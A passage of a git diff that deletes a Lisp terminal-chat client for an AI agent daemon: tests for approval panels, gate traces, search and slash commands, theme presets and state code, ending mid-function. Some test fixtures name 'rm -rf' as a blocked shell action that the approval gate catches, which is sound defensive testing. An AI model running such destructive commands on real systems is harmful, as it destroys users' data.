- (fiveam:is (null (st :streaming-text))))) - -(fiveam:test test-stream-interrupt - "Contract/v0.7.1: Esc during streaming appends [interrupted] and finalizes." - (init-state) - (on-daemon-msg '(:type :stream-chunk :payload (:text "partial"))) - (on-key 27) - (let ((msg (aref (st :messages) 0))) - (fiveam:is (stringp (getf msg :time))) - (fiveam:is (search "[interrupted]" (getf msg :content))) - (fiveam:is (null (st :streaming-text))) - (fiveam:is (null (st :busy))))) - -(fiveam:test test-stream-check-skip - "Contract/v0.7.1: Esc without active streaming does nothing." - (init-state) - (on-key 27) - (fiveam:is (null (st :streaming-text))) - (fiveam:is (= 0 (length (st :messages))))) - -(fiveam:test test-tab-open-url - "Contract/v0.7.1: Tab on empty input with URL message extracts URL." - (init-state) - (add-msg :agent "visit https://example.com for info") - (on-key 9) - (fiveam:is (string= "https://example.com" (st :url-buffer)))) - -;; ── v0.7.2 HITL Panels ── - -(fiveam:test test-hitl-panel-in-on-daemon-msg - "Contract v0.7.2: approval-required messages render as HITL panels." - (init-state) - (on-daemon-msg '(:type :EVENT :level :approval-required - :payload (:sensor :approval-required - :action (:TYPE :REQUEST :PAYLOAD (:TOOL "shell")) - :message "rm -rf blocked"))) - (let ((m (aref (st :messages) 0))) - (fiveam:is (eq :system (getf m :role))) - (fiveam:is (getf m :panel)) - (fiveam:is (search "rm -rf" (getf m :content))))) - -(fiveam:test test-hitl-panel-after-approve - "Contract v0.7.2: /approve adds confirmation and marks panel resolved." - (init-state) - (on-daemon-msg '(:type :EVENT :level :approval-required - :payload (:sensor :approval-required :message "test"))) - (dolist (ch (coerce "/approve HITL-test" 'list)) - (on-key (char-code ch))) - (on-key 13) - ;; Panel message (index 0) should be marked resolved - (let ((m (aref (st :messages) 0))) - (fiveam:is (getf m :panel)) - (fiveam:is (eq :approved (getf m :panel-resolved)))) - ;; Last message should be the approval confirmation - (let ((m (aref (st :messages) (1- (length (st :messages)))))) - (fiveam:is (search "Approved" (getf m :content))))) - -(fiveam:test test-hitl-panel-after-deny - "Contract v0.7.2: /deny marks panel as denied." - (init-state) - (on-daemon-msg '(:type :EVENT :level :approval-required - :payload (:sensor :approval-required :message "blocked"))) - (dolist (ch (coerce "/deny HITL-deny" 'list)) - (on-key (char-code ch))) - (on-key 13) - (let ((m (aref (st :messages) 0))) - (fiveam:is (getf m :panel)) - (fiveam:is (eq :denied (getf m :panel-resolved))))) - -(fiveam:test test-hitl-approve-parsed - "Contract v0.7.2: /approve HITL-xxxx sends structured event, not raw text." - (init-state) - (dolist (ch (coerce "/approve HITL-abcd" 'list)) - (on-key (char-code ch))) - (on-key 343) - ;; Should add a system message confirming approval, not a user message - (let ((msgs (st :messages))) - (fiveam:is (>= (length msgs) 1)) - (let ((m (aref msgs 0))) - (fiveam:is (eq :system (getf m :role))) - (fiveam:is (search "Approved" (getf m :content)))))) - -(fiveam:test test-hitl-deny-parsed - "Contract v0.7.2: /deny HITL-xxxx sends structured denial." - (init-state) - (dolist (ch (coerce "/deny HITL-xyz" 'list)) - (on-key (char-code ch))) - (on-key 343) - (let ((m (aref (st :messages) 0))) - (fiveam:is (eq :system (getf m :role))) - (fiveam:is (search "Denied" (getf m :content))))) - -;; ── v0.7.2 Undo/Redo ── - -(fiveam:test test-undo-command - "Contract v0.7.2: /undo sends undo event." - (init-state) - (dolist (ch (coerce "/undo" 'list)) - (on-key (char-code ch))) - (on-key 343) - (let ((m (aref (st :messages) 0))) - (fiveam:is (eq :system (getf m :role))) - (fiveam:is (search "Undo" (getf m :content))))) - -(fiveam:test test-redo-command - "Contract v0.7.2: /redo sends redo event." - (init-state) - (dolist (ch (coerce "/redo" 'list)) - (on-key (char-code ch))) - (on-key 343) - (let ((m (aref (st :messages) 0))) - (fiveam:is (eq :system (getf m :role))) - (fiveam:is (search "Redo" (getf m :content))))) - -;; ── v0.7.2 Self-help ── - -(fiveam:test test-why-command - "Contract v0.7.2: /why shows gate trace from last message." - (init-state) - (add-msg :agent "did something" :gate-trace '((:gate "shell" :result :blocked :reason "rm -rf"))) - (dolist (ch (coerce "/why" 'list)) - (on-key (char-code ch))) - (on-key 13) - (let* ((msgs (st :messages)) - (m (aref msgs (1- (length msgs))))) - (fiveam:is (eq :system (getf m :role))) - (fiveam:is (search "[BLOCKED]" (getf m :content))) - (fiveam:is (search "shell" (getf m :content))))) - -(fiveam:test test-why-no-trace - "Contract v0.7.2: /why with no gate trace shows fallback message." - (init-state) - (dolist (ch (coerce "/why" 'list)) - (on-key (char-code ch))) - (on-key 13) - (let* ((msgs (st :messages)) - (m (aref msgs (1- (length msgs))))) - (fiveam:is (search "No recent" (getf m :content))))) - -;; ── v0.7.2 Gate Trace Toggle (Ctrl+G) ── - -(fiveam:test test-ctrlg-toggle-gate-trace - "Contract v0.9.0: Ctrl+G (via dispatch-key-event) toggles gate-trace collapse state." - (init-state) - (add-msg :agent "test" :gate-trace '((:gate "shell" :result :passed))) - (cl-tty.input:dispatch-key-event - (cl-tty.input:make-key-event :key :g :ctrl t :code 7)) - (let* ((msgs (st :messages)) - (m (aref msgs (1- (length msgs))))) - (fiveam:is (search "hidden" (getf m :content)))) - (cl-tty.input:dispatch-key-event - (cl-tty.input:make-key-event :key :g :ctrl t :code 7)) - (let* ((msgs (st :messages)) - (m (aref msgs (1- (length msgs))))) - (fiveam:is (search "shown" (getf m :content))))) - -(fiveam:test test-ctrlg-no-gate-trace - "Contract v0.9.0: Ctrl+G (via dispatch-key-event) with no gate trace shows fallback." - (init-state) - (cl-tty.input:dispatch-key-event - (cl-tty.input:make-key-event :key :g :ctrl t :code 7)) - (let ((m (aref (st :messages) 0))) - (fiveam:is (search "No gate trace" (getf m :content))))) - -;; ── v0.7.2 Message Search Mode ── - -(fiveam:test test-search-mode-activate - "Contract v0.7.2: /search enters search mode." - (init-state) - (add-msg :agent "hello world") - (add-msg :agent "goodbye") - (dolist (ch (coerce "/search hello" 'list)) - (on-key (char-code ch))) - (on-key 13) - (fiveam:is (eq t (st :search-mode))) - (fiveam:is (string= "hello" (st :search-query))) - (fiveam:is (= 1 (length (st :search-matches))))) - -(fiveam:test test-search-mode-escape-exits - "Contract v0.7.2: Escape exits search mode." - (init-state) - (add-msg :agent "test") - (dolist (ch (coerce "/search test" 'list)) - (on-key (char-code ch))) - (on-key 13) - (fiveam:is (eq t (st :search-mode))) - (on-key 27) ;; Escape - (fiveam:is (null (st :search-mode)))) - -(fiveam:test test-search-mode-up-down-nav - "Contract v0.7.2: Up/Down navigates between search matches." - (init-state) - (add-msg :agent "aaa hello bbb") - (add-msg :agent "ccc hello ddd") - (add-msg :agent "no match here") - (dolist (ch (coerce "/search hello" 'list)) - (on-key (char-code ch))) - (on-key 13) - (fiveam:is (= 0 (st :search-match-idx))) - (on-key 258) ;; Down - (fiveam:is (= 1 (st :search-match-idx))) - (on-key 259) ;; Up - (fiveam:is (= 0 (st :search-match-idx))) - (on-key 259) ;; Up (clamped) - (fiveam:is (= 0 (st :search-match-idx)))) - -(fiveam:test test-context-sections - "Contract v0.7.2: /context shows section breakdown with IDENTITY, TOOLS, LOGS." - (init-state) - (add-msg :agent "hello world") - (dolist (ch (coerce "/context" 'list)) - (on-key (char-code ch))) - (on-key 13) - (let ((msgs (st :messages))) - (fiveam:is (some (lambda (m) (search "IDENTITY" (getf m :content))) msgs)) - (fiveam:is (some (lambda (m) (search "LOGS" (getf m :content))) msgs)) - (fiveam:is (some (lambda (m) (search "TOOLS" (getf m :content))) msgs)))) - -(fiveam:test test-help-topic-lookup - "Contract v0.7.2: /help reads and searches USER_MANUAL.org." - (init-state) - (dolist (ch (coerce "/help configuration" 'list)) - (on-key (char-code ch))) - (on-key 13) - (let ((msgs (st :messages))) - (fiveam:is (some (lambda (m) (search ".env" (getf m :content))) msgs)))) - -(fiveam:test test-pads-page-up - "Contract v0.7.2: PageUp scrolls by page size (> 5 lines)." - (init-state) - (dotimes (i 30) (add-msg :system (format nil "msg ~d" i))) - (setf (st :scroll-offset) 0) - (on-key :ppage) - (fiveam:is (> (st :scroll-offset) 5) "Should scroll by more than 5 lines")) - -(fiveam:test test-pads-page-down-clamp - "Contract v0.7.2: PageDown clamps to 0." - (init-state) - (dotimes (i 5) (add-msg :system (format nil "msg ~d" i))) - (setf (st :scroll-offset) 3) - (on-key :npage) - (fiveam:is (= 0 (st :scroll-offset)))) - -;; ── v0.8.0 Minibuffer ── - -(fiveam:test test-slash-commands-defined - "Contract v0.8.0: *slash-commands* is non-nil list of option plists." - (fiveam:is (listp passepartout.channel-tui::*slash-commands*)) - (fiveam:is (> (length passepartout.channel-tui::*slash-commands*) 0)) - (fiveam:is (every (lambda (opt) - (and (getf opt :title) (getf opt :value) (getf opt :category))) - passepartout.channel-tui::*slash-commands*))) - -(fiveam:test test-minibuffer-state - "Contract v0.8.0: init-state has :dialog-stack and :minibuffer-active fields." - (init-state) - (fiveam:is (null (st :dialog-stack))) - (fiveam:is (null (st :minibuffer-active)))) - -(fiveam:test test-command-palette-state - "Contract v0.8.0: init-state has :command-palette-active and :command-palette-dialog as nil." - (init-state) - (fiveam:is (null (st :command-palette-active))) - (fiveam:is (null (st :command-palette-dialog)))) diff --git a/lisp/channel-tui-state.lisp b/lisp/channel-tui-state.lisp deleted file mode 100644 index 80c9db0..0000000 --- a/lisp/channel-tui-state.lisp +++ /dev/null @@ -1,399 +0,0 @@ -(defpackage :passepartout.channel-tui - (:use :cl :passepartout :usocket :bordeaux-threads) - (:export :tui-main :st :add-msg :now :input-string - :queue-event :drain-queue :init-state - :view-status :view-chat :view-input :redraw - :position-cursor - :input-panel-top - :on-key :on-daemon-msg :send-daemon - :connect-daemon :disconnect-daemon - :*tui-theme* :theme-color)) -(in-package :passepartout.channel-tui) - -(defvar *state* nil) -(defvar *event-queue* nil) -(defvar *event-lock* (bt:make-lock "tui-event-lock")) - -(defvar *tui-theme* - '( :user-fg "#fab283" :user-bg "#1e1e1e" :user-border "#fab283" - :agent-border "#c0a080" :agent-header "#d4956a" :agent-fg "#e8e8e8" - :system "#808080" - :input-prompt "#fab283" :input-fg "#e8e8e8" - :hint "#606060" - :status-bg "#141414" :status-fg "#e8e8e8" - :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1e1e1e" - :text-muted "#808080" - :dot-connected "#7fd88f" :dot-disconnected "#e06c75" - :bg-input "#2e2e2e" - :error "#e06c75" - :tool-running "#fab283" :tool-done "#7fd88f" :tool-error "#e06c75" - :thinking-bg "#3a3a3a" :symbolic-border "#707070" - :separator "#3c3c3c" :accent "#fab283" :dim "#606060") - "Dark-neutral color theme with warm amber accent. Backgrounds are dark grays, -semantic text colors for context. Keys: :bg (deepest), :bg-panel, :bg-element, -:text-muted, :user-fg/bg/border, :agent-border/header/fg, :system, -:input-prompt/fg, :hint, :status-bg/fg, :bg-input, :thinking-bg, -:symbolic-border, :dot-connected/disconnected, :error, :tool-*, -:separator, :accent, :dim.") - -(defvar *tui-theme-presets* - '(:amber - (:user-fg "#fab283" :user-bg "#1e1e1e" :user-border "#fab283" - :agent-header "#d4956a" :agent-fg "#e8e8e8" - :agent-border "#c0a080" :thinking-bg "#3a3a3a" :symbolic-border "#707070" - :system "#808080" - :input-prompt "#fab283" :input-fg "#e8e8e8" - :hint "#606060" - :status-bg "#141414" :status-fg "#e8e8e8" - :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1e1e1e" - :bg-input "#2e2e2e" - :text-muted "#808080" - :dot-connected "#7fd88f" :dot-disconnected "#e06c75" - :error "#e06c75" - :tool-running "#fab283" :tool-done "#7fd88f" :tool-error "#e06c75" - :separator "#3c3c3c" :accent "#fab283" :dim "#606060") - :gold - (:user-fg "#ffd700" :user-bg "#1e1e1e" :user-border "#ffd700" - :agent-header "#d4a574" :agent-fg "#e8e8e8" - :agent-border "#c0a080" :thinking-bg "#3a3a3a" :symbolic-border "#707070" - :system "#808080" - :input-prompt "#ffd700" :input-fg "#e8e8e8" - :hint "#606060" - :status-bg "#141414" :status-fg "#ffd700" - :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1e1e1e" - :bg-input "#2e2e2e" - :text-muted "#808080" - :dot-connected "#7fd88f" :dot-disconnected "#e06c75" - :error "#e06c75" - :tool-running "#ffd700" :tool-done "#7fd88f" :tool-error "#e06c75" - :separator "#3c3c3c" :accent "#ffd700" :dim "#606060") - :terracotta - (:user-fg "#e87a5d" :user-bg "#1e1e1e" :user-border "#e87a5d" - :agent-header "#d4956a" :agent-fg "#e0c8b0" - :agent-border "#c0a080" :thinking-bg "#3a3a3a" :symbolic-border "#707070" - :system "#808080" - :input-prompt "#e87a5d" :input-fg "#e0c8b0" - :hint "#606060" - :status-bg "#141414" :status-fg "#d4956a" - :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1e1e1e" - :bg-input "#2e2e2e" - :text-muted "#808080" - :dot-connected "#6cb85c" :dot-disconnected "#d94a3a" - :error "#d94a3a" - :tool-running "#e87a5d" :tool-done "#6cb85c" :tool-error "#d94a3a" - :separator "#3c3c3c" :accent "#e87a5d" :dim "#606060") - :sepia - (:user-fg "#c4a882" :user-bg "#1e1e1e" :user-border "#c4a882" - :agent-header "#b89870" :agent-fg "#d4c4a8" - :system "#808080" - :input-prompt "#c4a882" :input-fg "#d4c4a8" - :hint "#606060" - :status-bg "#141414" :status-fg "#b89870" - :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1e1e1e" - :bg-input "#2e2e2e" - :text-muted "#808080" - :dot-connected "#7aac5c" :dot-disconnected "#c84a3a" - :error "#c84a3a" - :tool-running "#c4a882" :tool-done "#7aac5c" :tool-error "#c84a3a" - :separator "#3c3c3c" :accent "#c4a882" :dim "#606060") - :nord-warm - (:user-fg "#d4a574" :user-bg "#1e1e1e" :user-border "#d4a574" - :agent-header "#c49870" :agent-fg "#e0d0c0" - :system "#808080" - :input-prompt "#d08770" :input-fg "#e0d0c0" - :hint "#606060" - :status-bg "#141414" :status-fg "#c8a080" - :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1e1e1e" - :bg-input "#2e2e2e" - :text-muted "#808080" - :dot-connected "#7cb860" :dot-disconnected "#d06050" - :error "#d06050" - :tool-running "#d08770" :tool-done "#7cb860" :tool-error "#d06050" - :separator "#3c3c3c" :accent "#d4a574" :dim "#606060") - :monokai-warm - (:user-fg "#e6b87d" :user-bg "#1e1e1e" :user-border "#e6b87d" - :agent-header "#d4a06a" :agent-fg "#d8c8b0" - :system "#808080" - :input-prompt "#e6b87d" :input-fg "#d8c8b0" - :hint "#606060" - :status-bg "#141414" :status-fg "#cc9966" - :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1e1e1e" - :bg-input "#2e2e2e" - :text-muted "#808080" - :dot-connected "#7ab85c" :dot-disconnected "#d94a3a" - :error "#d94a3a" - :tool-running "#e6b87d" :tool-done "#7ab85c" :tool-error "#d94a3a" - :separator "#3c3c3c" :accent "#e6b87d" :dim "#606060") - :gruvbox-warm - (:user-fg "#d8a657" :user-bg "#1e1e1e" :user-border "#d8a657" - :agent-header "#c8a070" :agent-fg "#e0c8a8" - :system "#808080" - :input-prompt "#d8a657" :input-fg "#e0c8a8" - :hint "#606060" - :status-bg "#141414" :status-fg "#c8a070" - :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1e1e1e" - :bg-input "#2e2e2e" - :text-muted "#808080" - :dot-connected "#7ab85c" :dot-disconnected "#d94a3a" - :error "#d94a3a" - :tool-running "#d8a657" :tool-done "#7ab85c" :tool-error "#d94a3a" - :separator "#3c3c3c" :accent "#d8a657" :dim "#606060") - :light-amber - (:user-fg "#cc6600" :user-bg "#f5f5f5" :user-border "#cc6600" - :agent-header "#8b6914" :agent-fg "#3a2a1a" - :agent-border "#a08060" :thinking-bg "#d4d4d4" :symbolic-border "#b0b0b0" - :system "#808080" - :input-prompt "#cc6600" :input-fg "#3a2a1a" - :hint "#a0a0a0" - :status-bg "#ebebeb" :status-fg "#3a2a1a" - :bg "#ffffff" :bg-panel "#f5f5f5" :bg-element "#ebebeb" - :bg-input "#d4d4d4" - :text-muted "#808080" - :dot-connected "#2e8b57" :dot-disconnected "#cc3300" - :error "#cc3300" - :tool-running "#cc6600" :tool-done "#2e8b57" :tool-error "#cc3300" - :separator "#d4d4d4" :accent "#cc6600" :dim "#a0a0a0") - :catppuccin - (:user-fg "#fab387" :user-bg "#1e1e2e" :user-border "#fab387" - :agent-header "#cba6f7" :agent-fg "#cdd6f4" - :agent-border "#a6adc8" :thinking-bg "#363650" :symbolic-border "#6c7086" - :system "#808080" - :input-prompt "#fab387" :input-fg "#cdd6f4" - :hint "#6c7086" - :status-bg "#181825" :status-fg "#a6adc8" - :bg "#11111b" :bg-panel "#181825" :bg-element "#1e1e2e" - :bg-input "#2e2e2e" - :text-muted "#6c7086" - :dot-connected "#a6e3a1" :dot-disconnected "#f38ba8" - :error "#f38ba8" - :tool-running "#fab387" :tool-done "#a6e3a1" :tool-error "#f38ba8" - :separator "#313244" :accent "#fab387" :dim "#585b70") - :tokyonight - (:user-fg "#ff9e64" :user-bg "#1a1b26" :user-border "#ff9e64" - :agent-header "#7aa2f7" :agent-fg "#a9b1d6" - :agent-border "#7982a8" :thinking-bg "#363b54" :symbolic-border "#565f89" - :system "#808080" - :input-prompt "#ff9e64" :input-fg "#a9b1d6" - :hint "#565f89" - :status-bg "#16161e" :status-fg "#9aa5ce" - :bg "#0f0f18" :bg-panel "#16161e" :bg-element "#1a1b26" - :bg-input "#2e2e2e" - :text-muted "#565f89" - :dot-connected "#9ece6a" :dot-disconnected "#db4b4b" - :error "#db4b4b" - :tool-running "#ff9e64" :tool-done "#9ece6a" :tool-error "#db4b4b" - :separator "#292e42" :accent "#ff9e64" :dim "#444b6a") - :dracula - (:user-fg "#ff9580" :user-bg "#1e1f2b" :user-border "#ff9580" - :agent-header "#bd93f9" :agent-fg "#f8f8f2" - :agent-border "#c0c0e0" :thinking-bg "#3a3b50" :symbolic-border "#6272a4" - :system "#808080" - :input-prompt "#ff9580" :input-fg "#f8f8f2" - :hint "#6272a4" - :status-bg "#191a24" :status-fg "#e0e0e0" - :bg "#0f101a" :bg-panel "#191a24" :bg-element "#1e1f2b" - :bg-input "#2e2e2e" - :text-muted "#6272a4" - :dot-connected "#50fa7b" :dot-disconnected "#ff5555" - :error "#ff5555" - :tool-running "#ff9580" :tool-done "#50fa7b" :tool-error "#ff5555" - :separator "#34354a" :accent "#ff9580" :dim "#5a5b7a") - :gemini - (:user-fg "#87afff" :user-bg "#1a1a1a" :user-border "#87afff" - :agent-header "#d7afff" :agent-fg "#ffffff" - :agent-border "#d0d0d0" :thinking-bg "#3a3a3a" :symbolic-border "#707070" - :system "#808080" - :input-prompt "#87afff" :input-fg "#ffffff" - :hint "#606060" - :status-bg "#141414" :status-fg "#afafaf" - :bg "#000000" :bg-panel "#141414" :bg-element "#1a1a1a" - :bg-input "#2e2e2e" - :text-muted "#808080" - :dot-connected "#d7ffd7" :dot-disconnected "#ff87af" - :error "#ff87af" - :tool-running "#87afff" :tool-done "#d7ffd7" :tool-error "#ff87af" - :separator "#3a3a3a" :accent "#87afff" :dim "#5f5f5f") - :mono - (:user-fg "#e0e0e0" :user-bg "#1a1a1a" :user-border "#808080" - :agent-header "#c0c0c0" :agent-fg "#d0d0d0" - :agent-border "#a0a0a0" :thinking-bg "#3a3a3a" :symbolic-border "#808080" - :system "#808080" - :input-prompt "#ffffff" :input-fg "#d0d0d0" - :hint "#606060" - :status-bg "#141414" :status-fg "#b0b0b0" - :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1a1a1a" - :bg-input "#2e2e2e" - :text-muted "#808080" - :dot-connected "#a0a0a0" :dot-disconnected "#808080" - :error "#808080" - :tool-running "#e0e0e0" :tool-done "#a0a0a0" :tool-error "#808080" - :separator "#303030" :accent "#ffffff" :dim "#505050")) - "13 theme presets (amber, gold, terracotta, sepia, nord-warm, -monokai-warm, gruvbox-warm, light-amber, catppuccin, tokyonight, dracula, -gemini, mono). Keys: :bg/:bg-panel/:bg-element/:bg-input/:text-muted.") - -(defvar *tui-theme-current-name* :amber - "Name of the currently active theme preset.") - -(defun theme-save () - "Persist current theme to disk." - (let ((path (merge-pathnames ".cache/passepartout/theme.lisp" - (user-homedir-pathname)))) - (uiop:ensure-all-directories-exist (list path)) - (with-open-file (out path :direction :output :if-exists :supersede :if-does-not-exist :create) - (format out ";; Passepartout TUI theme — auto-generated~%") - (format out "(setf passepartout.channel-tui::*tui-theme* '~s)~%" *tui-theme*) - (format out "(setf passepartout.channel-tui::*tui-theme-current-name* ~s)~%" *tui-theme-current-name*)) - t)) - -(defun theme-load () - "Load persisted theme from disk. Called at startup. -Adds any missing keys with defaults to handle saved themes from older versions." - (let ((path (merge-pathnames ".cache/passepartout/theme.lisp" - (user-homedir-pathname)))) - (when (uiop:file-exists-p path) - (ignore-errors (load path))) - ;; Fill in any missing keys from the default preset - (let ((defaults (getf *tui-theme-presets* *tui-theme-current-name*))) - (when defaults - (dolist (key '(:bg-input :bg-element :text-muted :agent-border :thinking-bg :symbolic-border)) - (unless (getf *tui-theme* key) - (let ((val (getf defaults key))) - (when val (setf (getf *tui-theme* key) val))))))))) - -(defun theme-switch (name) - "Switch to a named theme preset. Returns the preset name or nil if not found." - (let* ((key (intern (string-upcase (string name)) :keyword)) - (preset (getf *tui-theme-presets* key))) - (when preset - (setf *tui-theme* (copy-list preset) - *tui-theme-current-name* key) - (theme-save) - (setf (st :dirty) (list t t t)) - key))) - -(defun theme-color (role) - "Returns a hex color string for a semantic role, suitable for cl-tty." - (let ((val (or (getf *tui-theme* role) :white))) - (cond - ((stringp val) val) - (t (case val - (:green "#00FF00") (:red "#FF0000") (:cyan "#00FFFF") - (:yellow "#FFFF00") (:magenta "#FF00FF") (:blue "#0000FF") - (:white "#FFFFFF") (:black "#000000") - (:bright-black "#666666") (:bright-yellow "#FFD700") - (t "#FFFFFF")))))) - -(defun st (key) (getf *state* key)) -(defun (setf st) (val key) (setf (getf *state* key) val)) - -(defun init-state () - (setf *state* - (list :running t :mode :chat :connected nil :stream nil - :input-buffer nil :input-history nil :input-hpos 0 - :messages (make-array 16 :adjustable t :fill-pointer 0) - :scroll-offset 0 :busy nil :cursor-pos 0 - :pending-ctrl-x nil - :scroll-at-bottom t :scroll-notify nil - :streaming-text nil :url-buffer nil ; v0.7.1 - :collapsed-gates nil ; v0.7.2 - :search-mode nil :search-query "" ; v0.7.2 - :search-matches nil :search-match-idx 0 - :sidebar-mode :auto ; v0.8.0: :auto/:visible/:hidden - :sidebar-width 42 ; v0.8.0 - :expand-tool-calls nil ; v0.8.0 - :mcp-count 0 ; v0.8.0 - :kill-ring nil ; v0.9.0 - :dialog-stack nil ; v0.8.0 - :minibuffer-active nil ; v0.8.0 - :command-palette-active nil ; v0.8.0 - :command-palette-dialog nil ; v0.8.0 - :session-cost 0.0 ; v0.9.0 - :daemon-version nil ; filled by handshake - :dirty (list nil nil nil)))) - -(defun now () - (multiple-value-bind (s m h) (get-decoded-time) - (declare (ignore s)) - (format nil "~2,'0d:~2,'0d" h m))) - -(defun input-string () - (coerce (reverse (st :input-buffer)) 'string)) - -(defun input-insert-char (ch) - "Insert character at cursor position into the input buffer." - (let* ((buf (st :input-buffer)) - (pos (or (st :cursor-pos) 0)) - (s (coerce (reverse buf) 'string)) - (new (concatenate 'string (subseq s 0 pos) (string ch) (subseq s pos)))) - (setf (st :input-buffer) (reverse (coerce new 'list))) - (setf (st :cursor-pos) (1+ pos)))) - -(defun input-delete-char () - "Delete character before cursor position (standard backspace)." - (let* ((buf (st :input-buffer)) - (pos (or (st :cursor-pos) 0))) - (when (and buf (> pos 0)) - (let* ((s (coerce (reverse buf) 'string)) - (new (concatenate 'string (subseq s 0 (1- pos)) (subseq s pos)))) - (setf (st :input-buffer) (reverse (coerce new 'list))) - (setf (st :cursor-pos) (1- pos)))))) - -(defun add-msg (role content &key gate-trace panel) - (vector-push-extend (list :role role :content content :time (now) :gate-trace gate-trace :panel panel) (st :messages)) - ;; v0.7.0: notify when scrolled up and new msg arrives - (unless (st :scroll-at-bottom) - (setf (st :scroll-notify) t)) - (setf (st :dirty) (list t t nil))) - -(defvar *slash-commands* - '((:title "/eval — Evaluate Lisp" :value "/eval" :category :session) - (:title "/undo — Undo last operation" :value "/undo" :category :session) - (:title "/redo — Redo last operation" :value "/redo" :category :session) - (:title "/reconnect — Re-establish daemon" :value "/reconnect" :category :session) - (:title "/quit — Save history and exit" :value "/quit" :category :session) - (:title "/q — Quick quit" :value "/q" :category :session) - (:title "/why — Show last gate trace" :value "/why" :category :memory) - (:title "/identity — Edit IDENTITY.org" :value "/identity" :category :memory) - (:title "/tags — List tag severities" :value "/tags" :category :memory) - (:title "/audit — Inspect memory" :value "/audit" :category :memory) - (:title "/audit verify — Memory integrity" :value "/audit verify" :category :memory) - (:title "/rewind — Rewind to snapshot" :value "/rewind" :category :memory) - (:title "/sessions — Show memory snapshots" :value "/sessions" :category :memory) - (:title "/resume — Resume from snapshot" :value "/resume" :category :memory) - (:title "/focus — Set context" :value "/focus" :category :system) - (:title "/scope — Change scope" :value "/scope" :category :system) - (:title "/unfocus — Pop context" :value "/unfocus" :category :system) - (:title "/theme [name] — Show/switch theme" :value "/theme" :category :system) - (:title "/context — Show context summary" :value "/context" :category :system) - (:title "/context why — Debug memory" :value "/context why" :category :system) - (:title "/context dropped — Estimate pruned" :value "/context dropped" :category :system) - (:title "/search — Search messages" :value "/search" :category :navigation) - (:title "/help — Show commands" :value "/help" :category :help) - (:title "/help — Search manual" :value "/help " :category :help)) - "Slash commands for minibuffer select-dialog.") - -(defvar *daemon-commands* - '((:title "Status — Daemon health info" :value (:action :status) :category :session) - (:title "Stats — Daemon statistics" :value (:action :stats) :category :session) - (:title "Ping — Daemon reachability" :value (:action :ping) :category :session) - (:title "Memory Snapshot — Capture state" :value (:action :memory-snapshot) :category :memory) - (:title "Memory Rebuild — Rebuild indices" :value (:action :memory-rebuild) :category :memory) - (:title "Memory Compact — Optimize storage" :value (:action :memory-compact) :category :memory) - (:title "Reload Config — Reload configuration" :value (:action :reload-config) :category :system) - (:title "Reload Identity — Reload identity file" :value (:action :reload-identity) :category :system) - (:title "List Skills — Available skills" :value (:action :list-skills) :category :system) - (:title "Help — Show daemon help" :value (:action :help) :category :help)) - "Daemon commands for the command palette (Ctrl+P).") - -(defun all-commands () - "Merge slash commands and daemon commands into one unified list." - (append *slash-commands* *daemon-commands*)) - -(defun queue-event (ev) - (bt:with-lock-held (*event-lock*) (push ev *event-queue*))) - -(defun drain-queue () - (bt:with-lock-held (*event-lock*) - (let ((evs (nreverse *event-queue*))) - (setf *event-queue* nil) evs))) diff --git a/lisp/channel-tui-view.lisp b/lisp/channel-tui-view.lisp deleted file mode 100644 index bf7719f..0000000 --- a/lisp/channel-tui-view.lisp +++ /dev/null @@ -1,655 +0,0 @@ -(in-package :passepartout.channel-tui) - -(defun sidebar-visible-p (w) - "Compute whether sidebar should be shown given terminal width W -and current sidebar mode (:auto/:visible/:hidden)." - (let ((mode (st :sidebar-mode))) - (or (eq mode :visible) - (and (eq mode :auto) (> w 120))))) - -(defun word-wrap (text width) - "Wrap TEXT to at most WIDTH columns. Splits on word boundaries. -Returns a list of strings, one per line." - (let ((lines nil)) - (loop while (> (length text) width) - do (let ((break (or (position #\Space text :end width :from-end t) - width))) - (push (subseq text 0 break) lines) - (setf text (string-left-trim '(#\Space) - (subseq text break))))) - (push text lines) - (nreverse lines))) - -(defun view-status (fb w h) - (declare (ignore fb w h)) - ;; Status bar is now a clean black line — blends with global :bg. - ;; No clock, no dot, no text. Everything clean. - ) - -(defun input-panel-top (chat-w h) - "Compute the top row of the input panel based on current input buffer." - (let* ((hpad 2) - (inner-w (- chat-w (* 2 hpad))) - (prompt-w (- inner-w 2)) - (text (input-string)) - (lines (word-wrap text prompt-w)) - (n-lines (max 1 (length lines))) - (panel-rows (max 4 (+ n-lines 2)))) - (- h 4 panel-rows -1))) - - -;; v0.7.2: search-highlight — wrap matching text in **bold** for markdown -(defun search-highlight (content query) - "Wrap occurrences of QUERY in CONTENT with **bold** markers." - (let ((lower-content (string-downcase content)) - (lower-query (string-downcase query)) - (result "") (pos 0)) - (when (and query (> (length query) 0)) - (loop - (let ((found (search lower-query lower-content :start2 pos))) - (unless found (return)) - (setf result (concatenate 'string result - (subseq content pos found) - "**" (subseq content found (+ found (length query))) "**")) - (setf pos (+ found (length query))))) - (setf result (concatenate 'string result (subseq content pos))) - (if (string= result "") content result)))) - -(defun view-chat (fb w h) - (let* ((w (or (and (numberp w) (> w 0) w) 80)) - (h (or (and (numberp h) (> h 0) h) 24)) - (hpad 2) - (sidebar-w (if (sidebar-visible-p w) (or (st :sidebar-width) 42) 0)) - (chat-w (- w sidebar-w)) - (msgs (st :messages)) (total (length msgs)) - (panel-top (input-panel-top chat-w h)) - (max-lines (max 0 panel-top)) (is-search (st :search-mode)) - (bordered-w (- chat-w (* 2 hpad) 2)) - (unbordered-w (- chat-w (* 2 hpad))) - (y 0)) - (when is-search - (let* ((matches (st :search-matches)) (idx (st :search-match-idx)) - (query (st :search-query)) - (hdr (format nil "Search: ~d matches for '~a' (~d/~d) — Esc to exit" - (length matches) query (1+ idx) (length matches)))) - (cl-tty.backend:draw-text fb hpad y hdr (theme-color :accent) nil) - (incf y) (decf max-lines))) - (let ((msg-lines (make-array total)) (msg-heights (make-array total))) - (dotimes (i total) - (let* ((msg (aref msgs i)) (role (getf msg :role)) - (content (getf msg :content)) - (cs (if is-search (search-highlight content (st :search-query)) content)) - (pairs nil) - (think-bg (theme-color :thinking-bg)) - (sym-bdr (theme-color :symbolic-border)) - (agent-bdr (theme-color 